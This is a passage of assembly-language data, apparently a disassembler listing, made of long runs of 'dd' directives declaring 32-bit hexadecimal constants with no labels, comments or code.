		dd 0A102E40Dh, 9915142Bh, 0E95F5D1h, 9214C2FAh,	3625019Ah
		dd 587AE816h, 75823ABCh, 0D3D061Bh, 17310D77h, 0F3C0B60h
		dd 0C5545D71h, 3BF92E9Fh, 0B1451F6Fh, 0F784EB95h, 34C6F7Bh
		dd 46118CFAh, 8E3977F3h, 0F0C7F344h, 5F6A885Eh,	0F2CC1F74h
		dd 9BEE4EE7h, 0E2E6CC17h, 0CC22ECF1h, 8B939111h, 0FF673694h
		dd 0ECE0C44Fh, 36635E41h, 82EFB5B9h, 33C1E167h,	61DBCCADh
		dd 2E3B105Ah, 25BAA637h, 32B60C5Bh, 0A79276BDh,	82B1650Fh
		dd 9BE3FC5Fh, 0B1716788h, 0F050712Fh, 16551D00h, 0CDD1063Eh
		dd 1E8C0029h, 8E6284A3h, 9D111BDBh, 0A3697B08h,	1CE46BDDh
		dd 0EA12BB5Bh, 98A66CC1h, 27809780h, 60724C91h,	0AF800F03h
		dd 0D97BCC98h, 0CE2E1F61h
		dd 94104823h, 0CE08B21h, 0F4A999F1h, 0C33ADDE0h, 0C52F817Ch
		dd 4D9AF84Fh, 4CA69E78h, 15C45F8Eh, 9E6C50F3h, 3109DB09h
		dd 338F04A5h, 0D951A0CCh, 0CC0389Ah, 516181A9h,	98E33563h
		dd 4E9BB7B5h, 387BCBE1h, 4836FFECh, 0D4BDBA65h,	864F9DD0h
		dd 0EEC166DDh, 0EB6A39C0h, 0AF5DBAFDh, 3E4037B7h, 27666D19h
		dd 1A28006Ah, 14847B42h, 67A9AE04h, 0C55F9782h,	649F7C7Eh
		dd 90AAB5F6h, 0D011363Bh, 0B35E64F1h, 0F27F833Eh, 0FF1A59C2h
		dd 4EE04421h, 86D6A5D9h, 3EEFC9DCh, 6065E1DBh, 9FFAB350h
		dd 48285103h, 0A72A3E6Dh, 2395EB9Bh, 0BEC5BAFAh, 0E4447ADh
		dd 813EB69h, 0C9F40A0Ah, 317FE896h, 23CD193Dh, 78B89E72h
		dd 4524B8FBh, 0B5FA0768h, 0BE8F77E0h, 0BF3FEDF3h, 0C8A94F1h
		dd 0A379F21Ah, 0D44D573Bh, 6F46EC42h, 6386D9CEh, 0D2EB7AFDh
		dd 769E1D10h, 0BF54591Eh, 862FD7C2h, 9AD5B6D8h,	0F89CB85Ch
		dd 62DCCAFDh, 0A3D6ABD8h, 5870A5DBh, 50D00EB7h,	326AFA27h
		dd 5A966BBDh, 883CE77Ah, 0F25FB211h, 74C1FA8Ah,	0C65AEEFFh
		dd 0A39D3620h, 7DF4A3EBh, 6C1B816Fh, 4A80C033h,	0A6FD5D08h
		dd 42B1F0F6h, 0CEC96EB8h, 0A1B1950Eh, 0F08271F4h, 527B1F39h
		dd 9CE13493h, 9AD2C25Fh, 7501D348h, 11382EBDh, 9BFF486Ah
		dd 1E111359h, 9C4FF0ACh, 77E918DBh, 0BFBF3383h,	0C0C52D09h
		dd 42487974h, 0D121E571h, 0A91D6434h, 0F62D9252h, 46F86451h
		dd 42E7F61Ah, 0BDE04668h, 6860CC9Ch, 364242C4h,	6D2FDCB8h
		dd 2868D7E2h, 0D0CEA815h, 609B5B92h, 0F243C9B8h, 0C097C573h
		dd 5994A1C4h, 0D7371DDEh, 7EAAE8Eh, 0F5199BDEh,	6EA6FAC0h
		dd 86E6722Fh, 1C3DB3BDh, 74D17606h, 8D96480Ah, 1BFEFC28h
		dd 79EA6F42h, 0A5CA2CCFh, 56045C37h, 6846E54Eh,	4EC56A8Eh
		dd 0A1346582h, 9C9685E2h, 0F9AE4298h, 0C5DE3B92h, 5EE8DA10h
		dd 11BC925Eh, 9BB73244h, 4C668186h, 52132C04h, 0DF21D33Fh
		dd 160C76AFh, 96BE887Dh, 28CF631Eh, 16C00D05h, 0A0C776BDh
		dd 1DEB4E19h, 0FB4918B2h, 0E7F65C6Ah, 0F284DDC3h, 0F83A3754h
		dd 29A27F50h, 0AAE54D1Ah, 5E0D33AFh, 829FAFF8h,	7F7B2AA8h
		dd 35ACE5E3h, 3532737Bh, 5E90EB5Bh, 0AFABFDF3h,	52278FCEh
		dd 591D71FCh, 0C340F522h, 0DCC6941Ah, 8275DB34h, 0D1E75213h
		dd 24D84FF3h, 0D54128B1h, 0E78E6A8Eh, 0DF4AD0AFh, 7288D19Fh
		dd 84D3301Eh, 0B4A9AA1h, 34885B0h, 82ABA6AAh, 0BA547B2h
		dd 621130E4h, 0B1A54D8Ch, 3089C193h, 0E53F35B9h, 326679A9h
		dd 211E329Fh, 0E542BC6Fh, 783D1D77h, 0E26EC8D1h, 7D5C4444h
		dd 65B74F43h, 0F51A9058h, 0D84589AFh, 0FDA1EF9h, 52A73015h
		dd 0E155B114h, 7F337EFh, 9DCA4008h, 17289E50h, 0D4E18642h
		dd 9E4C48F0h, 170D1CB2h, 958FB0BCh, 0A3F90FCEh,	0A902EF69h
		dd 0E98D1B5Dh, 42DA8BF9h, 9197DBE7h, 7042998Ch,	0DC5BF80Eh
		dd 0AF35B5EDh, 0A871C60Eh, 0FF775419h, 0E33BBB5Bh, 9727D470h
		dd 0A9BD8384h, 0A8E9EB2Bh, 0F860E886h, 0F9A4CA34h, 9E5B2D60h
		dd 0FAE2A83Ah, 0B2AB8170h, 0D2E87233h, 0AB379D28h, 331BEE1Dh
		dd 64443731h, 0D93D00E7h, 0ADDD5EF9h, 0D70D8BCh, 7D8C9B4Dh
		dd 0E2CA4A45h, 733214C7h, 1E48BCE5h, 0D66B6BF4h, 0EDB758C0h
		dd 37C4C604h, 52E29997h, 475FC36Eh, 0A0098085h,	1774D5DEh
		dd 0C066478Bh, 5604AA90h, 52F21107h, 60633E0h, 84A05B13h
		dd 0E9AC86EDh, 15A89709h, 0ACFBA5F8h, 7D50E0F4h, 0A37C8E28h
		dd 6A901608h, 72DC3B1Ch, 0D20472DBh, 1BF28AC7h,	1618EADCh
		dd 0B05E33BEh, 0C7434E0Eh, 4BADD8EDh, 0C428632Bh, 2DE075BDh
		dd 2FB68E3Fh, 0CF4215DEh, 8E8F1714h, 83201E1h, 4C9ED60h
		dd 0A9C23FE0h, 8B77164Fh, 7F56DC03h, 16A9553Ah,	87B61DB1h
		dd 12811F5h, 0CF42DB2h,	42F8A893h, 0BB7F1114h, 94FC7549h
		dd 0DBF95948h, 3399CD6Ah, 0A5E90C85h, 66FB65D8h, 7147961Ch
		dd 1C8F27AEh, 0DF7EBDA3h, 94F0CEF9h, 2D4FDF6Dh,	5249FB9Ch
		dd 0B07CC0C1h, 0DE531736h, 355D1262h, 3D2F5D4Fh, 0BABD3B2Fh
		dd 0A0A04547h, 0E6D6982Fh, 0A9617544h, 3E3D9BE8h, 0D64B4849h
		dd 75918207h, 5ED9C89Fh, 0C9DD92FBh, 8DB09C7Ch,	0DE92C75Bh
		dd 6962F787h, 93D15B02h, 63DC3D18h, 0CE138324h,	25A67C1Bh
		dd 90B44101h, 0A631FB8Eh, 0E49C7E82h, 1666A4DEh, 7A4B4B49h
		dd 0B5D98CAAh, 7B9C47B6h, 0E390BAC6h, 67EFB2F7h, 0C65CA505h
		dd 0C83E5578h, 0AFBE1D05h, 0DD018679h, 7F73B1EDh, 0FE6C7CCFh
		dd 30475943h, 9BD732C4h, 0C6E9AFB7h, 6AAB4EDDh,	0FA98D2B9h
		dd 0E224007Bh, 60B2AC06h, 3DC1DF91h, 7FA84F3h, 8FCC6DCCh
		dd 0C2455C84h, 0E0C8D2B3h, 806085A0h, 0F7A65601h, 63826231h
		dd 0D5ECDFB1h, 208F5DA4h, 867B7819h, 0A7BAC4B7h, 8EC0C7CCh
		dd 0FD8E687Eh, 34024FE7h, 85EB9360h, 47A5F704h,	0F11FA4D5h
		dd 2A6E565Fh, 8D359235h, 7F29363Bh, 21AEC2Ch, 3A0A5685h
		dd 7F9DCF69h, 0BF71DFBFh, 64554C88h, 88B019E3h,	5CDA0DACh
		dd 29FB5FECh, 84BC666Fh, 540089ADh, 750E959Bh, 691691E8h
		dd 5364E109h, 0E3C41FA9h, 611593BEh, 9E16EB51h,	57B0589Bh
		dd 145D638h, 0EB9E3CE0h, 87660850h, 9CC95692h, 0BE0F7151h
		dd 19D7D2A2h, 0CB6DC7DFh, 0D4143665h, 0A6700D17h, 0DD2C00E3h
		dd 4D676324h, 0ADAC42E8h, 0E1CF3B39h, 90FC8679h, 0E4B0B960h
		dd 1373CB9Fh, 0C87FA51Bh, 8D8687A9h, 5F2460E8h,	3890731Bh
		dd 0B70D5F78h, 0EDA952B9h, 43CCE483h, 0B54FD699h, 0F5AB6AF8h
		dd 9766B6B5h, 0E7BD04C9h, 1CF0F946h, 83749E1h, 5F15308Dh
		dd 2B5A8989h, 0F1E6DC95h, 51CCEBDBh, 31EC0677h,	0EABE98ACh
		dd 525B7F24h, 0D71D571Eh, 0D4EA1CF4h, 0F5E2975Eh, 660550F4h
		dd 0F9E35EDCh, 0A3484FEFh, 0E94D090Dh, 0D124464Ch, 0B113EF43h
		dd 0DBD359E6h, 9754A0FDh, 24BEC39Eh, 86A80A2Eh,	7FF43F5h
		dd 0DBCDAC27h, 4FDC0A0Ah, 333FFFF9h, 0DD6C60C8h, 0B53D3A5Eh
		dd 2D610EBEh, 87164F33h, 750E959Bh, 691691E8h, 0C782C5F6h
		dd 2F3D64FBh, 484AA7h, 0AFCC105h, 2B6F83D2h, 53569031h
		dd 71C961Ch, 0C91E05CCh, 1566878Fh, 5C5EFD47h, 82D08EFh
		dd 0B98A55A9h, 3824A36Fh, 0D5B07B50h, 0CA3373DDh, 0B271C47Ah
		dd 8D6BDFE0h, 313DB058h, 88F41089h, 9DFF5928h, 0E3884987h
		dd 0BB8C3813h, 0E261CAD8h, 0A53DE42Bh, 0F267DE17h, 22D698B6h
		dd 9176D1B3h, 403DD5Fh,	0FA98D2B9h, 0E224007Bh,	57B4DDEFh
		dd 7966D524h, 70B359B6h, 65F94DB2h, 0E116D768h,	0D0BAF367h
		dd 46E14E5Eh, 7C598272h, 1C60A806h, 0B18C518Ah,	0BDDEBA1Ch
		dd 860B87ADh, 158457BCh, 1DF21ECEh, 3888B0B8h, 8F1EF946h
		dd 3CA98705h, 0E22E50D7h, 0D33D1DD1h, 0B9C1DBD5h, 115A9A64h
		dd 0AFDD9ABEh, 8DE08B4Eh, 0D8206A92h, 9549FD66h, 84A4C414h
		dd 0CB5733CFh, 38471398h, 8E275272h, 4296B335h,	0FDE328EBh
		dd 4721CF36h, 0BDE67B9Ch, 0D043770Bh, 63B0B7EFh, 4735B19Eh
		dd 0B88F7A1h, 30504992h, 830558ADh, 0CC86E04Ch,	467C6763h
		dd 2917FE97h, 329F5D75h, 54ED4B58h, 69AF1F47h, 2218E77Eh
		dd 0D4641644h, 0A1D98A26h, 0EA13E59Dh, 0AE04EC69h, 0DE3CA448h
		dd 901FB1E5h, 5ABB86Eh,	0FDDF1ECEh, 0D2D381C8h,	4780E57Ch
		dd 0C68D5B37h, 0FA50882Ch, 0F58A1A17h, 324CD8E8h, 0ECE243C9h
		dd 0A3A48904h, 1D73E88Fh, 0CC77B108h, 29397BD1h, 5ED21DCCh
		dd 7B61F5F1h, 0DA21EDA1h
		dd 0E8A57E2Ah, 19C181C7h, 6D8B474Fh, 0D87CA2E2h, 0BC7E13B4h
		dd 448CC302h, 4850EB21h, 0DDB437F7h, 0F3702CF1h, 826BAC9h
		dd 55DBA0E6h, 0BD6891F4h, 59C4DFB3h, 0EFB1D9DEh, 0D84CF7Bh
		dd 1ACD3D39h, 91940FD4h, 29827821h, 39D41FB0h, 0FCAF06EBh
		dd 64FEC07Bh, 363DA654h, 0DEA6A53Eh, 220F6324h,	0E3B17765h
		dd 2E92AF16h, 0AA3E3349h, 6A09EDD9h, 3E00DAF4h,	0CDC690BEh
		dd 34812C28h, 0BF3BA12Ch, 0BD2EC0FDh, 0BE42DC4Ch, 53F6BCFBh
		dd 45CD51E4h, 0BA06E46h, 0EF3B56EBh, 9EE4748Bh,	7456813Ch
		dd 54EE8929h, 0B73199D9h, 0E9E7734Ah, 6E143325h, 0CF7A2823h
		dd 5AD06273h, 63E9150Fh, 65E37D4Bh, 0D71A3265h,	0D710B873h
		dd 7CCC6004h, 88632EC2h, 0C934B16Bh, 6F4ED424h,	29C20412h
		dd 0E723A206h, 20ADFDD8h, 9EBF90B5h, 4F9F5646h,	0CE2BA9DEh
		dd 89DFC3FDh, 0F3D096B6h, 2F51FB8Eh, 0F4EA947Ah, 0A7994682h
		dd 5CF753C0h, 9FB12E2Eh, 452DF614h, 0A681E15Fh,	0E85F8F82h
		dd 9009A416h, 0ACDAEE23h, 0F04F0F45h, 2A99526Fh, 0EECD5FC6h
		dd 0E69C5152h, 30384CEDh, 62D33092h, 4B49C604h,	54A3DB94h
		dd 0E90327C2h, 0AB006AF3h, 0EE80BE6h, 7C1F0800h, 5FDB42D4h
		dd 2850AC51h, 5ACF4C4Eh, 0E7D734DDh, 0C1871449h, 0C525077Bh
		dd 732DAA5Eh, 1F7EED74h, 0EDB28DAEh, 0FF22B311h, 68D1D8C4h
		dd 0B5D44BDAh, 8B3A5E89h, 4A877A63h, 9F10916Eh,	64D57F8Ch
		dd 15FD519Bh, 189794DDh, 0B5511504h, 0A4D7D8D9h, 331A592Eh
		dd 40FA00EDh, 85B4B4A3h, 0D75147Fh, 0D429EFD7h,	717BE80Bh
		dd 28235F55h, 70CE45D4h, 0C20A6432h, 61872686h,	0C5C3BA09h
		dd 0D2DC5C1Ch, 0AA742CE4h, 0EB61546Fh, 0DE090F1Eh, 5B0A70Ah
		dd 29858105h, 87B90432h, 69F27925h, 578A8FEDh, 8B9DF970h
		dd 709366D5h, 929860B7h, 98D03F2h, 5FB9F2D6h, 33BB5F05h
		dd 2F750AB4h, 845A506Ah, 0A72975F5h, 52D78D59h,	10ACF313h
		dd 570B964Bh, 0DD2A11D5h, 24B77E02h, 22CB4D43h,	50462B4Eh
		dd 5ABBB76Dh, 67CB89E1h, 0F1CDCB66h, 0AFD719B3h, 0FFAB6E3Bh
		dd 0FBC6854Ah, 303859F1h, 6C976341h, 26D81244h,	570C36B8h
		dd 8B6AD2D7h, 7B579FEBh, 4DFF1D09h, 1FECF4Ah, 0D4A8316Eh
		dd 860E6B41h, 0E74D8C41h, 0C24DEEA4h, 0F9830317h, 2BB49384h
		dd 0EFA0EDC4h, 6786B8CAh, 6C8E78A3h, 43EDB0DBh,	91E1F3FDh
		dd 9CA3AC25h, 34961248h, 75CC4CBFh, 0B5644AAFh,	211AADADh
		dd 0C00F15F6h, 0A69E77FAh, 552BFA7Fh, 7819CD13h, 6797F98h
		dd 11E3BE48h, 6FDF4C6Dh, 0F50CD7B2h, 0DE4A233h,	93A39304h
		dd 0B9402D5Dh, 0FE2B4748h, 7F3557F5h, 0CC0BA518h, 54584E92h
		dd 0C5071D8Ch, 0BB09F0FCh, 50754690h, 0EFA4FFA6h, 30A93B7Eh
		dd 0A09AC11Eh, 0C7570613h, 78111233h, 0B72FCEA0h, 0E13741A3h
		dd 0C6051541h, 46D03704h, 64A545F5h, 6FF96C2h, 9BEE6C52h
		dd 0E1EC6D0Ch, 0B9D61FAEh, 90A01356h, 0B07EE6E6h, 25900448h
		dd 8A7F0FF5h, 0D50AF5EBh, 1CF84FD7h, 0E07F89A7h, 0DEC2A596h
		dd 0A2033604h, 6A0DB0EAh, 2184ABF3h, 6DB992D5h,	3D6F7CC7h
		dd 0FDEBD27h, 19A46B3Ah, 85EC38FEh, 0D3A49675h,	0CA98830Dh
		dd 2DF3006h, 0D41FBA58h, 7DADEE59h, 0CC460EDAh,	43CB4046h
		dd 5FE03762h, 949AA3C3h, 0BB976A48h, 0BF832458h, 0DD023A94h
		dd 7101FC63h, 0CD3130F8h, 0C41A6F7Eh, 7CA70F15h, 8CE48DA0h
		dd 0A27680EEh, 2385EC3Ah, 0E84A391Ch, 9CB3D5CEh, 0ECBB40FFh
		dd 0BE4F1DDAh, 28AFE3B8h, 0E48C3BC0h, 71D02AABh, 0E9BD7C73h
		dd 22D7ED74h, 0FB401316h, 0E3C00347h, 0EDFF9Dh,	0ECB1C7E6h
		dd 3FBBE44Dh, 0CA27A172h, 118DB59Eh, 0A750E13Fh, 1EB7F30Bh
		dd 0C303E31Fh, 38257DB6h, 2EE29BBDh, 0C7941098h, 2CB30Bh
		dd 0B4275Eh, 5EA502F8h,	7D721EEAh, 13C68201h, 3A8172D6h
		dd 0E63702D9h, 28BBF209h, 0E3B5113Bh, 0DF49B876h, 0E18ACD71h
		dd 9EAEA798h, 5BFAAC68h, 5460C209h, 0C28A6D4Fh,	73E052D0h
		dd 1CDA652Bh, 1872BD12h, 0BBB452E8h, 9E03EA3Bh,	0CE5BA485h
		dd 80D49F84h, 0F217BE2Dh, 402D45E8h, 5BE1598Dh,	6C46D973h
		dd 2F35B144h, 0FC2B2C4Bh, 342AC47Eh, 0D314D2ADh, 0C95A7ABDh
		dd 389AAD02h, 0D79E7C9Bh, 8F9C12AEh, 23536475h,	0C84DA906h
		dd 16A110D3h, 9F190354h, 2E38C2AFh, 118468EAh, 3961052Dh
		dd 0E65A68E1h, 3E231962h, 0CC56ACF5h, 0A99D205h, 5C327B45h
		dd 907A3F9Bh, 595319h, 8558635Ah, 0DBF0D67Ah, 44F8C216h
		dd 7E47D8DAh, 5B3F905Ah, 0FD463D2Dh, 9AD1D9FEh,	0DBA454D4h
		dd 6D1411BAh, 0A5EA8629h, 858E40F7h, 74160BB9h,	0F624DB39h
		dd 138A503h, 12C32478h,	0FAC6DD8h, 0C17AE620h, 7FD6ACEDh
		dd 0C72F76BBh, 82F88CACh, 686E9623h, 2C1C1662h,	7C7D9B1Ah
		dd 71CA9D96h, 30A20E9Fh, 249DABD6h, 0C565EA58h,	0E3AA1580h
		dd 0A8A5E5D6h, 6C07D55Eh, 0B0895087h, 16222676h, 9C1C5AB7h
		dd 0E2373F2Ah, 53B2B57Dh, 0B414271Ah, 3A61880Ah, 95F1BEFCh
		dd 0D5764652h, 7C05B4C1h, 0D7E799D6h, 0D728B0BEh, 0AEA4759Bh
		dd 5633B639h, 6DB57B05h, 19C1C46Fh, 3138A5C6h, 4FD1B015h
		dd 6FE3E01h, 1BF7AC85h,	489DF407h, 51E8A77Dh, 68A1EE72h
		dd 0F9692556h, 1E68F382h, 8D69427Ah, 583726B7h,	1D9CD10Dh
		dd 694C188Bh, 4D2D454Dh, 4E1E84D7h, 9224D514h, 0EEDAB0DEh
		dd 5A0DC70Bh, 0D5D137A7h, 14ED8CCFh, 272F9ADFh,	0E79A17E7h
		dd 15D70A06h, 5833ABEAh, 65A158A6h, 0C7F1B04Eh,	0F47CC7FFh
		dd 81B31384h, 4F4F915Ch, 7293980Bh, 3A13D5C8h, 11D4550h
		dd 6BC73EA3h, 0E5C419EAh, 61CC5386h, 0B38DF12Bh, 0AF134F5Dh
		dd 0BC302DD1h, 0BBE4EC38h, 21B17DA0h, 5978F806h, 0FDA6C839h
		dd 5B31F5F7h, 0C911AA25h, 95B2F93Fh, 0EE5D205Fh, 7552357Fh
		dd 2640B768h, 649FC633h, 31097758h, 8D62BAF5h, 773F2BF2h
		dd 700DE16Dh, 20D8C223h, 725583B7h, 0BA4D636Ah,	548B6C01h
		dd 9F2590DDh, 2FB43D3Eh, 2CFC057Ah, 0C8F71F6Ch,	0A55115DAh
		dd 80EED887h, 0DE66E5EEh, 0C3B976D5h, 6FFFA24Ah, 6112BC6Ah
		dd 3CC3539Ch, 0B72F7E4Ch, 0DCCEC7A1h, 0BBCF0906h, 0F175F2Fh
		dd 23A7B620h, 0FC022C5Fh, 5F9A88Ch, 2DCBD090h, 0C3ABA8EEh
		dd 8D5CC455h, 0C96D658h, 12E7058Dh, 7A982688h, 0BADD027Ah
		dd 0E3DE3946h, 6052E755h, 79458F9Ah, 0E72A8CC2h, 0C4DBAB20h
		dd 0B6595D63h, 0D366FD20h, 0E66FBB4Ah, 2A6454D5h, 19F9893h
		dd 7DA491B3h, 7A1BFF92h, 5B5D48CEh, 74868349h, 96F2E83Bh
		dd 0ADFEC5BEh, 0CB455F6Eh, 0C3BB7DD7h, 0D8D77E03h, 0DB0ABA56h
		dd 1CE0D9AFh, 3A9A4435h, 8891709Ch, 7EFCCB0Ch, 7FD4AA7h
		dd 0B5E8E343h, 7097286Ch, 1D7D7A3Ah, 0AAE82C3Dh, 7DDCDBD6h
		dd 0AA2BE0D3h, 6200135h, 34287A81h, 37953385h, 15F78D1Fh
		dd 17F80B7Eh, 2A158D97h, 7D82E16Eh, 0EDB6B288h,	6F1032B2h
		dd 0DDED1DC3h, 0E1AED745h, 0C2E84254h, 0A562739Bh, 0A0BBAED4h
		dd 12C0F58Bh, 26584183h, 133265BFh, 65439936h, 4675C6CCh
		dd 0F3849A33h, 47F666D7h, 0A8805BEDh, 500ECC15h, 70FE7BC1h
		dd 7DD222A0h, 75D4097h,	9107643Ch, 9390F6Ch, 0E2FBEEEBh
		dd 0ECC443D6h, 55DBCF15h, 0E1323A87h, 0EBB5B43Fh, 9D5E56F1h
		dd 0E7991E6Eh, 85FBB867h, 872516FBh, 0B4314C48h, 0AA9829A4h
		dd 0E20CE0DBh, 477BF2EFh, 860971A3h, 14A6ACBh, 0ED20C4CBh
		dd 50195D2Dh, 471009C0h
		dd 0D0EDE95Dh, 838D2DFCh, 0E141E37Ah, 0B515334Ch, 0CA1AE85Bh
		dd 0C1DB803Ah, 3BB2412h, 3E5C8FA6h, 8F59F784h, 5335C1E1h
		dd 56533761h, 7E623C3h,	0C5740AD5h, 0E4EA523Bh,	32E1EA40h
		dd 20E64BAEh, 8CFCCF6h,	0CC88272Dh, 46AC2364h, 11370427h
		dd 5C19C2CAh, 89E47E80h, 70C882ADh, 5899120Ah, 0B4221E2Ch
		dd 0EFC56307h, 0AB2E3E91h, 3A5F773Ah, 0AA3F9689h, 49247BBBh
		dd 6F4723A2h, 69F9DF42h, 531E1F00h, 52BD9BA8h, 43594E77h
		dd 0EB732062h, 0B179626Bh, 57A1711Ch, 0A184478Eh, 65855D82h
		dd 3E40918Dh, 0C6567931h, 62EA22E0h, 0D7280585h, 3B87DC9Eh
		dd 0CA4CB89Ah, 0C7F48B2Ah, 0BF7CF8C2h, 32B1F32h, 74185CB7h
		dd 547D7647h, 2191354Dh, 1DB8F2D6h, 70461384h, 9439B73Bh
		dd 55E4031Dh, 94D9181Ch, 585D444Ah, 0D5320F22h,	851CB7A8h
		dd 0B567F0CFh, 49CBA38Ch, 347F4902h, 3364B86Dh,	0AD6DB9EBh
		dd 0ACDC3DA0h, 0CC8E93BEh, 0E8BEE563h, 0B02E600Dh, 9ABBEC91h
		dd 122E1F85h, 0B8B5300Dh, 6B131A66h, 4BB1410h, 7D1C1A94h
		dd 54BC8006h, 0A1C2EE27h, 0FD0ED149h, 0CB53074Ch, 502233ECh
		dd 5A2C891Dh, 28205573h, 1ADC1E5Fh, 3AEF13D6h, 7606900Eh
		dd 0C1419228h, 4D858E1Dh, 0F4639738h, 5E90EB5Bh, 0AFABFDF3h
		dd 66C8DEEEh, 8F8A3BDh,	68909BA5h, 868D230Dh, 0C9C0DAEAh
		dd 3EF175D4h, 47A1B818h, 0F078C135h, 0CC22ECF1h, 8B939111h
		dd 76874D47h, 55D0D6C4h, 85AB2A8Bh, 0FD999BE2h,	0B36AA2E2h
		dd 6690EB81h, 6089F485h, 9DFFC02Ch, 0FFF6B607h,	99CADFADh
		dd 35A7E32Eh, 765042FEh, 0E85EDABEh, 972EA685h,	6BE7D186h
		dd 23A17B1h, 2C89AB51h,	0A753A801h, 0CDC528F9h,	30C5BD51h
		dd 8C7ED39Dh, 2D37A7A3h, 53D5E058h, 0FD7F1AA2h,	0D61F5515h
		dd 0EE0FBDD5h, 975EA421h, 0E20AA0A6h, 0C20D4AA7h, 0ADC5DB93h
		dd 0F9AC9C5Bh, 8F52CE1Ch, 859012Fh, 75C99B7Bh, 365FF1DEh
		dd 65F63811h, 0BDECD851h, 0F0446CC9h, 43AD3FCh,	6792D168h
		dd 695B4DDAh, 1B4DE05Eh, 0C5B95F2Eh, 0E1CD0025h, 0C4D8F635h
		dd 0AFD56A2Ah, 0EC89BFB1h, 3FF1BC11h, 0F35109BDh, 81D64537h
		dd 14ED5E4Bh, 0DFAEA226h, 0A179B452h, 1C93A335h, 269DF6BBh
		dd 3AC445DDh, 0C2568596h, 793CAADCh, 0A7F2C9E5h, 74CDD89Dh
		dd 87D33F51h, 47B0CE2Dh, 0D2BB7602h, 0DB7B00F5h, 0FC6C0D76h
		dd 0F58DDFB6h, 11454F90h, 0E037139Fh, 0C71A6F14h, 0A3463289h
		dd 794F1CCFh, 0F3D27CF6h, 17E5BBCBh, 3E8A29CAh,	35A7E32Eh
		dd 765042FEh, 49AFF1F6h, 0A6191079h, 26F1685Ah,	0EB66D8C9h
		dd 9894FF44h, 0A5BEFA31h, 7E6EAE6Fh, 6FF1F447h,	86310C15h
		dd 0F24FDC96h, 53D5E058h, 0FD7F1AA2h, 197C323Bh, 0CA18E940h
		dd 8987BA3Bh, 97B5D025h, 55076A4Dh, 52690AEFh, 8F5AAE30h
		dd 9C5045F0h, 3A19993Dh, 4D91AB77h, 92A44A5Fh, 65281480h
		dd 0E2E33809h, 19CB202Dh, 848B1A31h, 0D4D7D36h,	96AD4Fh
		dd 589293E8h, 0D7A93E9Ch, 8D1BE531h, 0F598DC00h, 9C066E83h
		dd 7D490CFAh, 995BE2CAh, 0E612B96h, 4643841h, 9DE5B348h
		dd 0EB69F6AFh, 920DE346h, 5D4A1D39h, 0B36DA1DCh, 71D40D09h
		dd 1E5C74ECh, 553ADADCh, 0DE3A2580h, 0A76A917Eh, 43F355CFh
		dd 2EF0AB0h, 27CB88F9h,	0C8D47506h, 0D78C62A6h,	0A75D166Dh
		dd 0A4ADC8CAh, 19A8798Bh, 0A6FC7A2Bh, 7FA91213h, 0AE8FBA9Bh
		dd 331956A4h, 86535C09h, 0E051D74Dh, 738FEBC3h,	12B02B20h
		dd 0D8BF8BF6h, 0CDE46D7Ah, 4FB3C2DBh, 0B1084AAAh, 0D66A0601h
		dd 7F712FFFh, 0C6CF734Ch, 6009A42h, 0E03B305Eh,	2518B72Dh
		dd 0D2619B7Eh, 0F7BEDCD0h, 6B9A494Ch, 0D95EC212h, 2B0F582Eh
		dd 0ED3D9CDBh, 28507F9Ch, 5429DD73h, 3EFFE02Eh,	0DEEA7626h
		dd 47622A62h, 726FC8E5h, 70898977h, 233ED0D6h, 0EC90D6E3h
		dd 0BCD8E6C0h, 79D1FA63h, 37CD4911h, 61639E01h,	125597EFh
		dd 40C236BBh, 997B812Ah, 869CA295h, 51B4CA2h, 46392BAEh
		dd 1CFA9854h, 0E50E65A6h, 7D7E051Bh, 0B2A478BCh, 74FED46h
		dd 9398765Dh, 0FA7ECA5Fh, 2D86822Ch, 36E666AAh,	0B4FE589Fh
		dd 70B2D6Eh, 0EAEBF3D3h, 38146358h, 4EFEC698h, 94FDBD28h
		dd 90E0ED4h, 0D96F2192h, 59FD0D02h, 8DE8F3CAh, 28059D58h
		dd 0A374F6BFh, 0D5DA8D89h, 0FA37B9F3h, 3E8D7A74h, 9B238C3Ch
		dd 2EDB2478h, 1548B87Fh, 6DFAC02Ch, 0F0D7F74Dh,	2FDDDE7Dh
		dd 95702DC7h, 4F5D8D67h, 64DA0962h, 0D93FFD61h,	0B738118Dh
		dd 63121666h, 0DBEF4F65h, 8192B68Ah, 0EC586CB0h, 0DBADB6F6h
		dd 9B47054Dh, 25D0DCFFh, 0F2F36901h, 778FFEBDh,	0E3EC682Ah
		dd 821BFE81h, 0E094C367h, 932517D7h, 0BD7CAACBh, 6C53DF32h
		dd 0AC4B5E85h, 8CE68614h, 378812F7h, 0C58E861Ch, 854D62F1h
		dd 8D1C606Bh, 14E9A97Fh, 0FA6B77E1h, 31E0F774h,	477EF841h
		dd 742F1297h, 1E01E964h, 162B3E4Fh, 0A72ABFC7h,	0C85BA483h
		dd 354E26E0h, 0A71E8228h, 252E009Ch, 0CA23360Ch, 558727A1h
		dd 422274DEh, 8FDC3F74h, 0BAC482E0h, 0A43D4FDDh, 71933FAEh
		dd 14BD742Ch, 0E7006A24h, 456EABD2h, 79EAA986h,	586045CBh
		dd 4D67C059h, 0DB9807DFh, 0F4F2B6E9h, 42B4FC2Eh, 50DC85C1h
		dd 4E7F79CEh, 0EF0FE41h, 0A5AC263Dh, 7A50C1CCh,	0EB52A275h
		dd 0F3E4DC2Bh, 0FEDB07AAh, 0E76B961Ah, 6E1A5D57h, 0DE1D4AA8h
		dd 0D70833ECh, 0A89E628Dh, 9D469688h, 84D2B42Bh, 0CD8AD31Fh
		dd 8298390Ah, 0A4B8B618h, 1DFFECE8h, 0A71754C3h, 6ABBEE76h
		dd 0CCF958EDh, 5AF85A1Eh, 81A2BB4Dh, 2C228F54h,	0E8B53DEAh
		dd 3080BACAh, 0FC3DF906h, 69E23CFBh, 90B2EABDh,	0A49B250Dh
		dd 76A541C1h, 0C4E52A13h, 5ABB6048h, 0EAFD95D0h, 47842220h
		dd 732861Bh, 8F62181h, 0E4BA852Fh, 51D1722Ah, 9AFBD023h
		dd 8F58CB60h, 0C32B582Ah, 4703594Eh, 5087326Bh,	0B9F95AD4h
		dd 0B36FDF98h, 65AD631Ch, 0B02AC22Ah, 0F8F96A5Bh, 0FFBC9AB9h
		dd 73560A7Fh, 675323A1h, 7E21240Ah, 0B9CB5760h,	67C17244h
		dd 2DE5E5EFh, 9B15F644h, 450F6EA6h, 0A3420AFEh,	0AF81767Dh
		dd 54407DE6h, 0E6F392F4h, 37701C0Ch, 0BC031576h, 0FDDCE959h
		dd 667CFCB0h, 11970A3h,	37D9296Dh, 0E553259Eh, 2EBB9558h
